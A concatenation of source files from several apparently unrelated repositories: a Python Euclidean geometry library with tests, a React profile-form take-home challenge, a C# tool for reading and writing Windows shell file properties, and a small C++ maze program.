return pi * self.diameter
def area(self):
return pi * self._radius ** 2
def does_intersect(self, circle):
if not isinstance(circle, Circle):
raise unexpected_type_error("circle", Circle, circle)
if self == circle:
raise ValueError("Test circles are identical.")
vector = circle.center - self.center
magnitude = vector.magnitude()
if magnitude > self.radius + circle.radius:
return False
if magnitude < abs(self.radius - circle.radius):
return False
return True
def intersection(self, circle):
if not self.does_intersect(circle):
return set()
my_c = self.center
c_c = circle.center
vector = c_c - my_c
v_mag = vector.magnitude()
apothem = (self.radius ** 2 - circle.radius ** 2 + v_mag ** 2) / (2 * v_mag)
intersect_center = my_c + apothem * vector.unit()
if apothem == self.radius:
return {intersect_center}
h = (self.radius ** 2 - apothem ** 2) ** 0.5
offset = h / v_mag * V2(c_c.y - my_c.y, my_c.x - c_c.x)
return {intersect_center + offset, intersect_center - offset}
def contains(self, point):
if isinstance(point, P2):
return self._equation(point) <= self.radius ** 2
return False
<file_sep>import math
import pytest
from euclidean.R2 import P2, V2
def test_p2_create():
pass
def test_p2_ccw():
pass
def test_p2_acute_angle():
assert math.pi == P2.AcuteAngle(P2(-1, 0), P2(0, 0), P2(1, 0))
def test_p2_vector():
pass
def test_p2_rotate():
pass
def test_p2_approx():
assert P2(1, 1).approx(P2(0.9999999, 0.9999999))
assert not P2(1, 1).approx(P2(0.999, 0.999))
with pytest.raises(TypeError):
P2(0, 0).approx(None)
def test_p2_quadrant():
assert 1 == P2(1, 1).quadrant()
assert 1 == P2(0, 0).quadrant()
assert 1 == P2(0, 1).quadrant()
assert 1 == P2(1, 0).quadrant()
assert 2 == P2(-1, 1).quadrant()
assert 2 == P2(-1, 0).quadrant()
assert 3 == P2(-1, -1).quadrant()
assert 3 == P2(0, -1).quadrant()
assert 4 == P2(1, -1).quadrant()
def test_p2_ordering():
assert P2(0, 0) < P2(1, 1)
assert P2(0, 0) < P2(1, 0)
assert P2(0, 0) < P2(1, -1)
assert P2(0, 0) > P2(0, -1)
with pytest.raises(TypeError):
P2(0, 0) >= V2(0, 0)
with pytest.raises(TypeError):
P2(0, 0) > None
def test_p2_add():
assert P2(1, 1) == P2(0, 0) + V2(1, 1)
assert P2(1, 1) == V2(1, 1) + P2(0, 0)
with pytest.raises(TypeError):
P2(0, 0) + P2(1, 1)
def test_p2_sub():
assert V2(9, 9) == P2(10, 10) - P2(1, 1)
assert P2(9, 9) == P2(10, 10) - V2(1, 1)
with pytest.raises(TypeError):
P2(10, 10) - 10
<file_sep>from multipledispatch import dispatch
from euclidean.R2.line import Line, LineSegment
from euclidean.R2.circle import Circle
from euclidean.R2.polygon import Polygon
@dispatch(Circle, Circle)
def does_intersect(circle1, circle2):
return circle1.does_intersect(circle2)
@does_intersect.register(Line, Line)
def _(line1, line2):
return line1.does_intersect(line2)
@does_intersect.register(LineSegment, LineSegment)
def _(line_segment1, line_segment2):
return line_segment1.does_intersect(line_segment2)
@does_intersect.register(Polygon, Polygon)
def _(polygon1, polygon2):
# grab max and min points of polygons and return False if disjoint?
for e1 in polygon1.edges():
for e2 in polygon2.edges():
if e1.does_intersect(e2):
return True
return False
@does_intersect.register(Line, LineSegment)
def _(line, line_segment):
return __does_intersect_line_line_segment(line, line_segment)
@does_intersect.register(LineSegment, Line)
def _(line_segment, line):
return __does_intersect_line_line_segment(line, line_segment)
@does_intersect.register(Circle, Line)
def _(circle, line):
return __does_intersect_circle_line(circle, line)
@does_intersect.register(Line, Circle)
def _(line, circle):
return __does_intersect_circle_line(circle, line)
@does_intersect.register(Circle, LineSegment)
def _(circle, line_segment):
return __does_intersect_circle_line_segment(circle, line_segment)
@does_intersect.register(LineSegment, Circle)
def _(line_segment, circle):
return __does_intersect_circle_line_segment(circle, line_segment)
@does_intersect.register(Polygon, Line)
def _(polygon, line):
return __does_intersect_polygon_line_like(polygon, line)
@does_intersect.register(Line, Polygon)
def _(line, polygon):
return __does_intersect_polygon_line_like(polygon, line)
@does_intersect.register(Polygon, LineSegment)
def _(polygon, line_segment):
return __does_intersect_polygon_line_like(polygon, line_segment)
@does_intersect.register(LineSegment, Polygon)
def _(line_segment, polygon):
return __does_intersect_polygon_line_like(polygon, line_segment)
def __does_intersect_circle_line(circle, line):
eq = abs(line._equation(circle.center) - line._c)
dist = eq / (line._cx ** 2 + line._cy ** 2) ** 0.5
return dist <= circle.radius
def __does_intersect_circle_line_segment(circle, line_segment):
closest = line_segment.line().closest(circle.center)
p_min, p_max = line_segment.ordered()
if closest > p_max:
closest = p_max
elif closest < p_min:
closest = p_min
dist_vec = circle.center - closest
if dist_vec.dot(dist_vec) > circle.radius ** 2:
return False
return not circle.contains(p_min) or not circle.contains(p_max)
def __does_intersect_polygon_line_like(polygon, line):
return any(does_intersect(line, edge) for edge in polygon.edges())
def __does_intersect_line_line_segment(line, line_segment):
s1 = line.on_side(line_segment._p1)
s2 = line.on_side(line_segment._p2)
if s1 == 0 and s2 == 0:
raise ValueError("Line Segment is a segment of Line.")
return s1 != s2
<file_sep>import pytest
from euclidean.R3 import P3, V3, Plane
def test_plane_create():
plane = Plane.PointNormal(P3(0, 0, 0), V3(1, 1, 1))
assert Plane(1, 1, 1, 0) == plane
assert None != plane
def test_plane_contains():
plane = Plane(1, 1, 1, 0)
assert plane.contains(P3(0, 0, 0))
assert plane.contains(P3(-1, 1, 0))
assert plane.contains(P3(-1, 0, 1))
with pytest.raises(TypeError):
plane.contains(V3(0, 0, 0))
def test_plane_normal():
plane = Plane(1, 1, 1, 1)
assert V3(1, 1, 1).unit() == plane.normal()
<file_sep>import math
from multipledispatch import dispatch
from euclidean.constants import tau
from euclidean.R2.cartesian import V2
from euclidean.R2.line import LineSegment
from euclidean.R2.circle import Circle
from euclidean.R2.polygon import Polygon
@dispatch(LineSegment)
def rasterize(line_segment, n=100):
step_vec = line_segment.vector() / (n - 1)
return [line_segment._p1 + i * step_vec for i in range(n)]
@rasterize.register(Circle)
def _(circle, n=360):
rot_theta = tau / n
radius_vector = circle.radius * V2(1, 0)
return [circle.center + radius_vector.rotate(rot_theta * i) for i in range(n)]
@rasterize.register(Polygon)
def _(polygon, n=1000):
n = int(n)
assert n >= len(polygon)
poly_points = list(polygon.points())
poly_points.append(poly_points[0])
return __rasterize_points(poly_points, n)
def __rasterize_points(points, n):
print(points)
count = len(points)
if count == 2:
(a, b) = points
return __rasterize_pair(a, b, n)
midpoint = count // 2
n1 = n // 2
raster = __rasterize_points(points[: midpoint + 1], n1)
raster.extend(__rasterize_points(points[midpoint:], n - n1))
return raster
def __rasterize_pair(p1, p2, n):
assert n >= 1
step_v = (p2 - p1) / n
return [p1 + i * step_v for i in range(n)]
<file_sep>import pytest
from euclidean.R2 import Line, LineSegment, Circle, Polygon, P2, does_intersect
from tests.test_r2_polygon import cw_polygon
def test_does_intersect_line_line():
l45 = Line(1, -1, 0)
l0 = Line(0, 1, 0)
l90 = Line(1, 0, 0)
l45_up = Line(1, -1, 10)
assert does_intersect(l45, l0)
assert does_intersect(l90, l0)
assert not does_intersect(l45, l45_up)
with pytest.raises(ValueError):
does_intersect(l45, l45)
def test_does_intersect_line_circle():
circle = Circle(99, P2(100, 100))
assert not does_intersect(circle, Line(1, 1, 0))
assert not does_intersect(Line(1, 1, 0), circle)
assert does_intersect(circle, Line(1, -1, 0))
assert does_intersect(Line(1, -1, 0), circle)
assert does_intersect(circle, Line(1, 0, 100))
assert does_intersect(Line(1, 0, 100), circle)
assert does_intersect(circle, Line(0, 1, 100))
assert does_intersect(Line(0, 1, 100), circle)
assert not does_intersect(circle, Line(1, 0, 0))
assert not does_intersect(Line(1, 0, 0), circle)
assert does_intersect(circle, Line(1, 0, 1))
assert does_intersect(Line(1, 0, 1), circle)
def test_does_intersect_line_segment_line_segment():
ls45 = LineSegment(P2(-1, -1), P2(1, 1))
ls135 = LineSegment(P2(-1, 1), P2(1, -1))
assert does_intersect(ls45, ls135)
ls135_up2 = LineSegment(P2(-1, 3), P2(1, 1))
assert does_intersect(ls45, ls135_up2)
ls135_up3 = LineSegment(P2(-1, 4), P2(1, 2))
assert not does_intersect(ls45, ls135_up3)
def test_does_intersect_circle_circle():
c1 = Circle(100)
c2 = Circle(100, P2(500, 500))
assert not does_intersect(c1, c2)
assert not does_intersect(c1, Circle(50))
assert does_intersect(c1, Circle(100, P2(10, 10)))
def test_does_intersect_line_line_segment():
line = Line(1, 0, 0)
x_ls = LineSegment(P2(-1, 0), P2(1, 0))
p_ls = LineSegment(P2(-1, -1), P2(-1, 1))
assert does_intersect(line, x_ls)
assert does_intersect(x_ls, line)
assert not does_intersect(line, p_ls)
assert not does_intersect(p_ls, line)
with pytest.raises(ValueError):
does_intersect(line, LineSegment(P2(0, 0), P2(0, 1)))
def test_does_intersect_circle_line_segment():
circle = Circle(100)
ls_right = LineSegment(P2(50, 0), P2(150, 0))
assert does_intersect(circle, ls_right)
assert does_intersect(ls_right, circle)
ls_left = LineSegment(P2(-50, -50), P2(-100, -100))
assert does_intersect(circle, ls_left)
assert does_intersect(ls_left, circle)
ls_inside = LineSegment(P2(-25, -25), P2(25, 25))
assert not does_intersect(circle, ls_inside)
assert not does_intersect(ls_inside, circle)
ls_outside = LineSegment(P2(0, 175), P2(175, 0))
assert not does_intersect(circle, ls_outside)
assert not does_intersect(ls_outside, circle)
def test_does_intersect_polygon_line(cw_polygon):
l45 = Line(1, -1, 0)
assert does_intersect(cw_polygon, l45)
assert does_intersect(l45, cw_polygon)
l45_up10 = Line(1, -1, 10)
assert not does_intersect(cw_polygon, l45_up10)
assert not does_intersect(l45_up10, cw_polygon)
assert does_intersect(cw_polygon, Line(1, 0, 0.5))
assert not does_intersect(cw_polygon, Line(1, 0, -0.5))
assert does_intersect(cw_polygon, Line(0, 1, 0.5))
assert not does_intersect(cw_polygon, Line(0, 1, -0.5))
def test_does_intersect_polygon_line_segment(cw_polygon):
ls_inside = LineSegment(P2(0.25, 0.25), P2(0.75, 0.75))
assert not does_intersect(cw_polygon, ls_inside)
assert not does_intersect(ls_inside, cw_polygon)
ls_x = LineSegment(P2(0.5, 0.5), P2(1, 1))
assert does_intersect(cw_polygon, ls_x)
assert does_intersect(ls_x, cw_polygon)
ls_outside = LineSegment(P2(-1, -1), P2(-1, 1))
assert not does_intersect(cw_polygon, ls_outside)
assert not does_intersect(ls_outside, cw_polygon)
<file_sep>from .cartesian import V2, P2
from .circle import Circle
from .line import Line, LineSegment
from .polygon.polygon import Polygon
from .generic.intersect import intersect
from .generic.rasterize import rasterize
from .generic.does_intersect import does_intersect
__all__ = (
"intersect",
"does_intersect",
"rasterize",
"P2",
"V2",
"Line",
"LineSegment",
"Circle",
"Polygon",
)
<file_sep>import pytest
from euclidean.R2 import rasterize
from euclidean.R2 import P2, LineSegment, Circle, Polygon
from euclidean.approx import ApproxSet
@pytest.fixture
def square():
return Polygon([P2(0, 0), P2(1, 0), P2(1, 1), P2(0, 1)])
def test_rasterize_polygon_8(square):
expected = ApproxSet(
[
P2(0, 0),
P2(0.5, 0),
P2(1, 0),
P2(1, 0.5),
P2(1, 1),
P2(0.5, 1),
P2(0, 1),
P2(0, 0.5),
]
)
assert expected == rasterize(square, n=8)
def test_rasterize_polygon_12(square):
expected = ApproxSet(
[
P2(0, 0),
P2(0.3333333, 0),
P2(0.6666666, 0),
P2(1, 0),
P2(1, 0.3333333),
P2(1, 0.6666666),
P2(1, 1),
P2(0.6666666, 1),
P2(0.3333333, 1),
P2(0, 1),
P2(0, 0.6666666),
P2(0, 0.3333333),
]
)
assert expected == rasterize(square, n=12)
def test_rasterize_polygon_10(square):
expected = ApproxSet(
[
P2(0, 0),
P2(0.5, 0),
P2(1, 0),
P2(1, 0.3333333),
P2(1, 0.6666666),
P2(1, 1),
P2(0.5, 1),
P2(0, 1),
P2(0, 0.6666666),
P2(0, 0.3333333),
]
)
assert expected == rasterize(square, n=10)
def test_rasterize_polygon_4(square):
expected = ApproxSet([P2(0, 0), P2(1, 0), P2(1, 1), P2(0, 1)])
assert expected == rasterize(square, n=4)
def test_rasterize_polygon_fail(square):
with pytest.raises(AssertionError):
rasterize(square, n=3)
def test_rasterize_polygon_15(square):
expected = ApproxSet(
[
P2(0, 0),
P2(0.3333333, 0),
P2(0.6666666, 0),
P2(1, 0),
P2(1, 0.25),
P2(1, 0.5),
P2(1, 0.75),
P2(1, 1),
P2(0.75, 1),
P2(0.5, 1),
P2(0.25, 1),
P2(0, 1),
P2(0, 0.75),
P2(0, 0.5),
P2(0, 0.25),
]
)
assert expected == rasterize(square, n=15)
def test_rasterize_line_segment():
expected = ApproxSet([P2(0, 0), P2(1, 0), P2(2, 0), P2(3, 0)])
assert expected == rasterize(LineSegment(P2(0, 0), P2(3, 0)), n=4)
def test_rasterize_circle():
expected = ApproxSet([P2(1, 0), P2(0, 1), P2(-1, 0), P2(0, -1)])
assert expected == rasterize(Circle(1), n=4)
expected = ApproxSet([P2(2, 1), P2(1, 2), P2(0, 1), P2(1, 0)])
assert expected == rasterize(Circle(1, P2(1, 1)), n=4)
<file_sep>from siquant import Quantity
import euclidean.siquant.vector as v
from euclidean.R2.cartesian import V2
from euclidean.R3.cartesian import V3
from euclidean.util import methods
def make_factory(*quantity_types):
def factory(q, u):
for q_type in quantity_types:
if isinstance(q, q_type._TYPE):
return q_type(q, u)
return Quantity(q, u)
return staticmethod(factory)
@methods(
v.angle,
v.unit,
v.rotate,
v.magnitude,
v.approx,
v.cross,
v.dot,
v.is_parallel,
v.is_orthogonal,
v.manhattan_distance,
)
class V2Quantity(Quantity):
__slots__ = ()
_TYPE = V2
x = property(lambda self: self.quantity.x * self.units)
y = property(lambda self: self.quantity.y * self.units)
@methods(
v.angle,
v.unit,
v.magnitude,
v.approx,
v.cross,
v.dot,
v.is_parallel,
v.is_orthogonal,
v.manhattan_distance,
)
class V3Quantity(Quantity):
__slots__ = ()
_TYPE = V3
x = property(lambda self: self.quantity.x * self.units)
y = property(lambda self: self.quantity.y * self.units)
z = property(lambda self: self.quantity.z * self.units)
def xy(self):
return self.quantity.xy() * self.units
def xz(self):
return self.quantity.xz() * self.units
def yz(self):
return self.quantity.yz() * self.units
<file_sep>import pytest
from euclidean.constants import eta
from euclidean.R2 import V2
def test_v2_polar():
assert V2(1, 0).approx(V2.Polar(1, 0))
assert V2(0, 1).approx(V2.Polar(1, eta))
assert V2(-1, 0).approx(V2.Polar(1, 2 * eta))
assert V2(0, -1).approx(V2.Polar(1, 3 * eta))
assert V2(1, 0).approx(V2.Polar(1, 4 * eta))
def test_v2_eq():
assert V2(1, 1) == V2(1, 1)
assert not V2(1, 1) == V2(0, 0)
assert not None == V2(1, 1)
assert V2(0.9999999, 0.9999999).approx(V2(1, 1))
assert not V2(0.9, 0.9).approx(V2(1, 1))
with pytest.raises(TypeError):
V2(1, 1).approx(None)
def test_v2_iter():
it = iter(V2(1, 2))
assert 1 == next(it)
assert 2 == next(it)
with pytest.raises(StopIteration):
next(it)
def test_v2_repr():
assert repr(V2(1, 0)) == "V2(1, 0)"
def test_v2_dot_product():
v1 = V2(1, 0)
v2 = V2(0, 1)
assert v1.dot(v2) == pytest.approx(0)
assert v1.dot(v1) == pytest.approx(1)
assert v2.dot(v2) == pytest.approx(1)
v3 = V2(1, 1)
assert v3.dot(v3) == pytest.approx(2)
v4 = V2(-2, -2)
assert v4.dot(v4) == pytest.approx(8)
def test_cross_product():
v1 = V2(1, 0)
v2 = V2(0, 1)
assert v1.cross(v2) == pytest.approx(1)
assert v2.cross(v1) == pytest.approx(-1)
assert v1.cross(v1) == pytest.approx(0)
assert v2.cross(v2) == pytest.approx(0)
v3 = V2(1, 1)
assert v3.cross(v1) == pytest.approx(-1)
assert v1.cross(v3) == pytest.approx(1)
assert v3.cross(v2) == pytest.approx(1)
assert v2.cross(v3) == pytest.approx(-1)
def test_add():
v1 = V2(0, 0)
v2 = V2(1, 0)
v3 = V2(0, 1)
assert V2(1, 1).approx(v1 + v2 + v3)
v1 += v2
assert V2(1, 0).approx(v1)
v1 += v3
assert V2(1, 1).approx(v1)
with pytest.raises(TypeError):
v1 + None
def test_v2_sub():
v1 = V2(100, 100)
v2 = V2(25, 50)
v3 = V2(0, 0)
assert V2(75, 50).approx(v1 - v2)
assert v2.approx(v2 - v3)
v3 -= v1
assert V2(-100, -100).approx(v3)
with pytest.raises(TypeError):
v3 - None
def test_v2_mul():
v1 = V2(1, 2)
assert V2(2, 4).approx(v1 * 2)
assert V2(2, 4).approx(2 * v1)
v1 *= -3
assert V2(-3, -6).approx(v1)
with pytest.raises(TypeError):
v1 * None
def test_div():
v1 = V2(1, 2)
assert V2(0.5, 1).approx(v1 / 2)
v1 /= -2
assert V2(-0.5, -1).approx(v1)
with pytest.raises(TypeError):
v1 / None
def test_floordiv():
v1 = V2(1, 2)
assert V2(0, 1).approx(v1 // 2)
v1 //= 2
assert V2(0, 1).approx(v1)
with pytest.raises(TypeError):
v1 // None
def test_angle():
pass
def test_parallel():
pass
def test_orthogonal():
assert V2(1, 0).is_orthogonal(V2(0, 1))
assert V2(-1, -1).is_orthogonal(V2(-1, 1))
assert not V2(1, 0).is_orthogonal(V2(-1, 0))
assert not V2(1, 1).is_orthogonal(V2(1, 0))
def test_rotate():
v1 = V2(1, 0)
v1 = v1.rotate(eta)
assert V2(0, 1).approx(v1)
v1 = v1.rotate(eta)
assert V2(-1, 0).approx(v1)
v1 = v1.rotate(eta)
assert V2(0, -1).approx(v1)
v1 = v1.rotate(eta)
assert V2(1, 0).approx(v1)
def test_p2():
pass
<file_sep>from setuptools import setup, find_packages
def readme():
with open("README.rst", "r") as f:
return f.read()
CLASSIFIERS = []
KEYWORDS = ["euclidean", "geometry", "vector", "point", "polygon"]
PROJECT_URLS = {}
INSTALL_REQUIRES = ["sortedcontainers>=2", "multipledispatch>=0.6"]
TESTS_REQUIRE = ["pytest", "coverage"]
EXTRAS_REQUIRE = {
"docs": [],
"tests": TESTS_REQUIRE,
"siquant": ["siquant==4.0.0b6"],
"dev": TESTS_REQUIRE + ["pre-commit"],
}
setup(
name="euclidean",
version="1.0.0b4",
description="Euclidean Geometry Library",
long_description=readme(),
url="https://github.com/keystonetowersystems/euclidean",
project_urls=PROJECT_URLS,
author="<NAME>",
author_email="<EMAIL>",
packages=find_packages(exclude=("tests",)),
setup_requires=[],
extras_require=EXTRAS_REQUIRE,
install_requires=INSTALL_REQUIRES,
zip_safe=True,
)
<file_sep>from siquant import make, si
def rotate(self, angle):
return make(self.quantity.rotate(angle.get_as(si.radians)), self.units)
def unit(self):
return make(self.quantity.unit(), si.unity)
def dot(self, other):
return make(self.quantity.dot(other.quantity), self.units * other.units)
def cross(self, other):
return make(self.quantity.cross(other.quantity), self.units * other.units)
def magnitude(self):
return make(self.quantity.magnitude(), self.units)
def angle(self, other):
if not hasattr(other, "quantity"):
return make(self.quantity.angle(other), si.radians)
return make(self.quantity.angle(other.quantity), si.radians)
def approx(self, other):
return self.quantity.approx(other.quantity)
def is_parallel(self, other):
if not hasattr(other, "quantity"):
return self.quantity.is_parallel(other)
return self.quantity.is_parallel(other.quantity)
def is_orthogonal(self, other):
if not hasattr(other, "quantity"):
return self.quantity.is_orthogonal(other)
return self.quantity.is_orthogonal(other.quantity)
def manhattan_distance(self):
return make(self.quantity.manhattan_distance(), self.units)
| c4f5d04e9290a02be0cd26ab76296f51ebd0c77a | [
"Python",
"reStructuredText",
"INI"
] | 38 | Python | keystonetowersystems/euclidean | 31e7535c4572214ab09615df38e004615e625d0f | 98cbda7274a3ef179ec6c4ad8cc584388607cecb |
refs/heads/master | <repo_name>chaudharyparth/R<file_sep>/Cool_shiny_practices/@shiny_DT::datatable.R
# datatable customization
https://rstudio.github.io/DT/options.html
# add link within datatable
library("shiny")
library("shinydashboard")
library("datasets")
library("DT")
library("shinyBS")
header <- dashboardHeader()
sidebar <- dashboardSidebar()
body <- dashboardBody(
DT::dataTableOutput("mtcarsTable"),
bsModal("mtCarsModal", "My Modal", "",tags$p("Hello World"), size = "small")
)
shinyApp(
ui = dashboardPage(header, sidebar, body),
server = function(input, output, session) {
mtcarsLinked <- reactive({
mtcars$mpg <- sapply(datasets::mtcars$mpg, function(x) {as.character(tags$a(href = "#", onclick = "$('#mtCarsModal').modal('show')", x))})
return(mtcars)
})
output$mtcarsTable <- DT::renderDataTable({
DT::datatable(mtcarsLinked(),
class = 'compact',
escape = FALSE
)
})
}
)
<file_sep>/kaggle/titanic/README.md
Titanic: Machine Learning from Disaster - Getting Started With R
================================================================
Using the `forest_submission.R`, the score generated is **0.81340**

| d2c5d97205acc09b68693d7402e5ed3109d928b3 | [
"Markdown",
"R"
] | 2 | R | chaudharyparth/R | 7f42c6cabdb99044781d6f6771764dce08952cf1 | c89168fb8fe5b74d46f616a90eb13741a4763e74 |
refs/heads/master | <repo_name>gugahoa/maze_generator_cpp<file_sep>/main.cpp
#include "proceduralmaze.h"
int main(void) {
ProceduralMaze maze = ProceduralMaze(39, 29);
maze.generate();
maze.print();
maze.fogPrint();
return 0;
}
| 272969f73b3de2ad9c7a53afc8831dc3b697272e | [
"C++"
] | 1 | C++ | gugahoa/maze_generator_cpp | e4c8268146ad2c67cf2305adf01f4f46c6633c83 | 0ae108fcee4a534668cc20dfdf4d33260dec1e0b |
refs/heads/master | <repo_name>Guidebook/front-end-challenge<file_sep>/README.md
# Front end take home challenge
1. [Overview](#overview)
2. [How to work on this challenge](#how-to-work-on-this-challenge)
2. [Time](#time)
3. [Current code](#current-code)
4. [Task](#task)
## Overview
The objective of this challenge is to give your interviewer a glimpse into your experience with React and to present you with a common code reorganization problem.
## How to work on this challenge
1. Run `git clone https://github.com/Guidebook/front-end-challenge`
2. Modify the code locally
3. Send this to the hiring manager either as a link to a Github repo hosted on your account or as a zip file with the repo contents.
## Time
We have given you a task that will take you at least an hour. Although working on this challenge for longer than an hour is fine, we respect your time and will not expect you to. If you find yourself having spent an hour working on this and have not completed it, you may **stop working on the code and write some notes on what you were trying to accomplish in the hour and what you would have liked to do next.** We will not evaluate how much you accomplished, but would like to understand what your thought process was and what you spent that time working on.
## Current code
The initial state of this project presents you with two forms which use a common `profile.js` component. One of the forms is blank, representing a 'New profile' state, and the other is prefilled with data, representing an 'Edit profile' state.
All form fields are required, and submitting with any blank fields will result in a red message at the bottom of the form as well as a red border around the respective field. The message and red border will not disappear until you have filled in the required data and clicked submit again. If you have filled in all required data and submitted successfully, you will see a "Form submitted!" message, and the console will log the form's payload.
## Task
We are giving you three primary tasks:
1. Use only controlled inputs for the profile form
2. Separate the profile render function into new components where it makes sense
3. Document what you completed along with what you were planning on doing next in a separate markdown file.
Below are some helpful notes:
* After converting the form to use only controlled components, there should be no usage of refs remaining in the code.
* When DRYing up the render method of `profile.js` into clean reusable components, prefer pure components to stateful ones.
* Ideally the presence validation would be reused for all form fields.
* When documenting what you did and what you'd do next, try to write the reasons for your choices so that we can follow your thought process.
* Using only controlled inputs for the profile form will require you to move the form state from the DOM to the profile form.
* If you are able to complete everything in one hour, running your code should be functionally identical to the original project.
<file_sep>/src/components/new.js
import Profile from './profile';
import React from 'react';
export default () => (
<Profile
name="New profile"
/>
);
<file_sep>/src/components/profile.js
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import './profile.css';
function capitalizeFirstLetter(string) {
return string.charAt(0).toUpperCase() + string.slice(1);
}
class Profile extends Component {
constructor() {
super();
this.handleFormSubmit = this.handleFormSubmit.bind(this);
this.formMessageRef = React.createRef();
}
removeInvalidClasses(requiredFields) {
requiredFields.forEach((element) => {
element.classList.remove('profile-form__field--invalid');
});
this.formMessageRef.current.innerHTML = '';
this.formMessageRef.current.classList.remove('profile-form__message--invalid');
}
addInvalidClassesAndValidationMessage(emptyFields) {
const emptyFieldNames = emptyFields.map((element) => element.name);
this.formMessageRef.current.classList.add('profile-form__message--invalid');
this.formMessageRef.current.innerHTML = capitalizeFirstLetter(`${emptyFieldNames.join(', ')} can not be blank`);
}
showFormSuccess() {
this.formMessageRef.current.innerHTML = 'Form submitted!';
}
handleFormSubmit(event) {
event.preventDefault();
const requiredFields = [
event.target.name,
event.target.gender,
event.target.email,
event.target.phone
];
const emptyFields = requiredFields.filter((element) => (
!Boolean(element.value)
));
this.removeInvalidClasses(requiredFields);
if (emptyFields.length) {
this.addInvalidClassesAndValidationMessage(emptyFields);
emptyFields.forEach((element) => {
element.classList.add('profile-form__field--invalid');
});
} else {
this.showFormSuccess();
console.log({
name: event.target.name.value,
gender: event.target.gender.value,
email: event.target.email.value,
phone: event.target.phone.value
});
}
}
render() {
return (
<div className="app">
<h1>{this.props.name}</h1>
<form onSubmit={this.handleFormSubmit}>
<label className="profile-form__row">
Name:
<input
defaultValue={this.props.profile.name}
className="profile-form__field" name="name" type="text"
/>
</label>
<label className="profile-form__row">
Gender:
<select
defaultValue={this.props.profile.gender}
className="profile-form__field profile-form__select" name="gender"
>
<option value="unspecified">Unspecified</option>
<option value="male">Male</option>
<option value="female">Female</option>
</select>
</label>
<label className="profile-form__row">
Email:
<input
defaultValue={this.props.profile.email}
className="profile-form__field"
name="email"
type="text"
/>
</label>
<label className="profile-form__row">
Phone:
<input
defaultValue={this.props.profile.phone}
className="profile-form__field"
name="phone"
type="text"
/>
</label>
<div className="profile-form__row">
<input type="submit" value="Save" />
</div>
<div className="profile-form__row">
<span
ref={this.formMessageRef}
className="profile-form__message"
/>
</div>
</form>
</div>
);
}
}
Profile.defaultProps = {
profile: {
name: '',
gender: '',
email: '',
phone: ''
}
}
Profile.propTypes = {
profile: PropTypes.shape({
name: PropTypes.string.isRequired,
gender: PropTypes.string.isRequired,
email: PropTypes.string.isRequired,
phone: PropTypes.string.isRequired
}),
name: PropTypes.string.isRequired
}
export default Profile;
<file_sep>/src/components/edit.js
import Profile from './profile';
import React from 'react';
export default () => (
<Profile
name="Edit profile"
profile={{
name: "<NAME>",
phone: "1231231234",
email: "<EMAIL>",
gender: "male"
}}
/>
);
| 701d3516e3d353dc4c8b97cd949b5170ff01c01b | [
"Markdown",
"JavaScript"
] | 4 | Markdown | Guidebook/front-end-challenge | 46c39b55e4944ea3b42ca701a837ce1621d27a8c | 2028c636fbb3755426e906c1e75128c061e6fe8d |
refs/heads/master | <file_sep>using System;
using System.IO;
using System.Linq;
using System.Reflection;
namespace PropMan
{
class Program
{
private enum Operation
{
Invalid,
Get,
Set,
Enum
}
private static class Commands
{
public static readonly string Get = "get";
public static readonly string Set = "set";
public static readonly string Enum = "enum";
}
static void ShowUsage()
{
Assembly exeAssembly = Assembly.GetEntryAssembly();
string exeName = Path.GetFileName(exeAssembly.Location);
Console.WriteLine("Usage:");
Console.WriteLine($"{exeName} command file [property name] [property value]");
Console.WriteLine();
Console.WriteLine("Command: enum | set | get");
}
private static bool IsNumeric(string str) => str.All(c => Char.IsDigit(c));
private static bool IsDate(string propertyValue) => DateTime.TryParse(propertyValue, out DateTime result);
static Operation DetermineOperation(string command)
{
Operation operation = Operation.Invalid;
if (Commands.Get.Equals(command, StringComparison.OrdinalIgnoreCase))
{
operation = Operation.Get;
}
else if (Commands.Set.Equals(command, StringComparison.OrdinalIgnoreCase))
{
operation = Operation.Set;
}
else if (Commands.Enum.Equals(command, StringComparison.OrdinalIgnoreCase))
{
operation = Operation.Enum;
}
return operation;
}
static void Main(string[] args)
{
if (args.Length < 2)
{
ShowUsage();
return;
}
Operation operation;
string fileName = args[1];
string propertyName = null;
string propertyValue = null;
// Determine the operation requested.
operation = DetermineOperation(args[0]);
if (operation == Operation.Invalid)
{
ShowUsage();
return;
}
if (args.Length >= 3)
{
propertyName = args[2];
}
if (args.Length >= 4)
{
propertyValue = args[3];
}
// We need 3 parameters for a Get: command, file name, property name
if (operation == Operation.Get && null == propertyName)
{
ShowUsage();
return;
}
// We need 4 parameters for a Set: command, file name, property name, value
if (operation == Operation.Set && null == propertyValue)
{
ShowUsage();
return;
}
// The file must exist
if (!File.Exists(fileName))
{
Console.WriteLine("File '{0}' does not exist.", fileName);
return;
}
fileName = Path.GetFullPath(fileName);
try
{
switch (operation)
{
case Operation.Enum:
PropertyManager.EnumProperties(fileName);
break;
case Operation.Set:
{
object value;
if (IsNumeric(propertyValue))
{
value = int.Parse(propertyValue);
}
if (IsDate(propertyValue))
{
value = DateTime.Parse(propertyValue);
}
else
{
value = propertyValue;
}
PropertyManager.SetProperty(fileName, propertyName, value);
}
break;
case Operation.Get:
PropertyManager.GetProperty(fileName, propertyName);
break;
default:
Console.WriteLine("Unrecognized operation: {0}", operation.ToString());
return;
}
}
catch (Exception ex)
{
Console.WriteLine("Exception while running command:");
Console.WriteLine(ex.ToString());
}
}
}
}
<file_sep># WindowsShellProperties
Simple console program to enumerate / get / set Windows Shell Properties from a file.
<file_sep>using Microsoft.WindowsAPICodePack.Shell;
using Microsoft.WindowsAPICodePack.Shell.PropertySystem;
using System;
using System.Linq;
namespace PropMan
{
static class PropertyManager
{
public static void EnumProperties(string fileName)
{
ShellPropertyCollection properties = new ShellPropertyCollection(fileName);
foreach (IShellProperty property in properties)
{
DisplayProperty(property);
Console.WriteLine("-------------------------------------------");
}
}
public static void SetProperty(string fileName, string propName, object value)
{
ShellObject shObj = ShellObject.FromParsingName(fileName);
using (ShellPropertyWriter writer = shObj.Properties.GetPropertyWriter())
{
writer.WriteProperty(propName, value);
}
}
public static void GetProperty(string fileName, string propName)
{
ShellPropertyCollection properties = new ShellPropertyCollection(fileName);
IShellProperty property = properties.FirstOrDefault(p => p.CanonicalName != null && p.CanonicalName.Equals(propName));
if (null == property)
{
Console.WriteLine("Property '{0}' was not found.", propName);
return;
}
DisplayProperty(property);
}
private static void DisplayProperty(IShellProperty property)
{
object value = property.ValueAsObject;
Console.WriteLine("Canonical name: {0}", property.CanonicalName);
Console.WriteLine("Property key: {0}", property.PropertyKey);
